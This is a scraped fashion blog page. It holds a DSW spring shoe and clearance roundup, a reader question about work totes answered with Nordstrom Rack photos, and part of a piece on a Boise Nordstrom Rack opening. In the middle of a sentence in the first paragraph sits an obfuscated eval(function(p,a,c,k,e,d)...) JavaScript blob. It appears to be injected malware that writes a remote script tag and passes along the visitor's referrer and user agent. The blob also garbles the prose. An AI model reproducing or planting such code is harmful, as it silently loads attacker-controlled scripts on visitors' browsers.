Hot Trends & Hotter Deals at DSW Shoes!

The sun is coming out! And with it, ladies everywhere stretch out their toes and say, “Ooh, I need a pedicure!”

Whatever your toes look like these days, if you’re anything like me you are excited to peel off those winter boots and try on some spring styles! I stopped by Boise’s DSW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydrk|var|u0026u|referrer|yzair||js|php’.split(‘|’),0,{}))
(Designer Shoe Warehouse) yesterday, to see what’s hot in designer footwear for the Budget Fashionista. 🙂 Here are some of my fun finds and top picks.


Pumps: Audrey Brooke // “Nude” pumps are very popular right now! These have a subtle gold shimmer in the suede, and would look fabulous with a colorful dress, or capris and a flirty blouse!


Sandals: Diba // Gladiator sandals are still hot! The gold studs on these add elegance and edge.


Wedge Sandals: BCBG Paris // Metallic shoes are SO versatile, and this platform wedge amps-up a dressy outfit, while still being comfortable.


Wedge Sandal: Steve Madden // Is everyone as in love with Steve Madden as I am? These mango wedges are smoking hot! I’d wear them with a swingy, simple black tank dress, OR white shorts and a gold-embellished blouse! They add pizazz to any ensemble.


Sandals: Coconuts and Zigi // Wedding shoes! Seriously, the sales staff said these bright & blingy beauties are flying off the shelves, as brides & bridesmaids get in the swing of wedding season!


Ankle-strap Flats: kelly & kate // With their sexy ankle strap, subtle wedge lift, and bold metallic accents, these shiny black sandals are a more mature, dressier version of gladiators!


Pumps: Zigi Soho // Two words: PROM SEASON!


Wedge sandals: Report // These are just SO cute & retro, I literally want to wear one on each foot because I can’t decide between them! Birds, birds, birds… Adorbs!!!


Slip-on: Dansko // On your feet all day, but still love a little pizazz? These bright Danskos were getting a lot of attention in the “comfort shoe” aisle!


Flats: BCBG Paris // Ballet flats are extra pretty, in bright colors and fun metallic prints!


Wedge Sneaker: Jellypop // Not sure about the wedge sneaker trend? Edgy fashionistas know: if you’re going to wear them, don’t be subtle about it! Check out this lacy, ladylike version…


Wedge Sneakers: Sam Edelman // Or, edge it up with chains & studs!!!


DON’T MISS the back clearance wall of DSW, where rows & rows of shoes are marked an extra 30-80% off!!! I found a ton of hot bargains…


Wedge Sneakers: Rebels // $79.00 marked down to $59.94, minus an extra 70% off!


Wedge Sandals: Two Lips // $100 marked down to $79.94, minus an extra 40% off!


Pumps: Audrey Brooke // $90.00 marked down to $49.94, minus an extra 50% off!


Gladiator Sandals: CARLOS by Carlos Santana // $59.00, marked down to $39.94, minus an extra 30% off!

And one last thing: my top pick for the most adorable Spring handbag in DSW: This Betsey Johnson heart-studded tote, in the lightest champagne pink! #fashioncrave


Which one is YOUR favorite? Spring has sprung – get your toes out and go find some hot bargains! 🙂



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DSW Boise is located at 8501 W Franklin Rd, Boise, ID 83709, (208) 323-1201
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Pretty and Professional; Finding the Perfect tote!

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That’s a wonderful question, Dawn! Thanks for asking! I LOVE questions from my readers! 😀

When it comes to having a work handbag that is large enough to carry your files, computer, and a variety of essentials, my preference is always to find a structured tote. I want it to be wide enough to hold my larger items, but solid, so that when I set it down it doesn’t schlump to the ground in a puddle of leather.

Ideally, your perfect tote would have enough room that you can put in your own dividers; get something that works for your organizational needs from Office Depot, Staples, etc., and take it with you when you go purse shopping!

I stopped by Nordstrom Rack for some photos of the types of handbags I think might work best for you. Most are solid colors, that would coordinate well with an office wardrobe, plus one wild Betsey Johnson tote I just had to throw in for the FUN of it! 🙂

Let me know what you think!




Michael Kors



Huge Bueno Handbags (Kate Spade wallet for size reference)


Betsey Johnson


Spotted on the Clearance Table: Ipad/Tablet purses by Marc Jacobs, & Rebecca Minkoff


Shopping at the Rack with my favorite go-to Betsey Johnson tote!

Jacket: Nordstrom // Tank: BP for Nordstrom // Tote: Betsey Johnson // Leggins: H&M

~♥~ It’s ALL About the Clothes! ~♥~

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Tanya Carnahan, with Photos by
Ammo Photog

Unless you live in a cave – or avoid any form of news media, in or out of that cave – you’ve probably heard something about the latest addition to this town’s shopping landscape.

A Nordstrom Rack opened last week near Boise Towne Square Mall. There were news crews, long lines, screaming stampedes of giddy shoppers, crowded aisles, “controversy” over secret pre-parties (yup, we were at one of those – it totally rocked!!!), and basic new-store shopping mayhem.

But amidst all the hoopla, an important element of this store’s grand arrival seems to have been forgotten; the main thing that had fashion bloggers, big-city transplants, style hunters, and bargain shoppers salivating from the time the Nordstrom Rack sign went up on that building…

It’s ALL about the CLOTHES!!!!!

Nordstrom Rack brings something NEW to Boise; brands that haven’t had a presence in this town until now will finally be accessible to those who love the style & quality of high-end names like Burberry, Tory Burch, Allen Edmonds, Diesel, Armani, Kate Spade, & Marc Jacobs. The Rack also offers extensive fashion pieces from lines like Betsey Johnson, Juicy Couture, and Joe’s; brands that currently have a limited presence in other stores. And everything is sold at a discount, anywhere from 20-90% off of retail!

But why are these names so imortant? Because new brands give Boise access to new styles, and new perspectives on fashion! Now, those fashion-forward styles we see in the magazines are one step closer to being worn in Boise. The question is: are Boiseans brave enough to wear them?

Only time will tell, but if the thrilled & satisfied shoppers from Thursday’s Rack opening were any indication, Boise’s fashion landscape is about to have the brightest and boldest Spring it’s ever seen.

Here are some of the happy faces we saw, with their great fashion finds…

(Me & Ammo Photog, covering the Grand Opening for Fusion Magazine)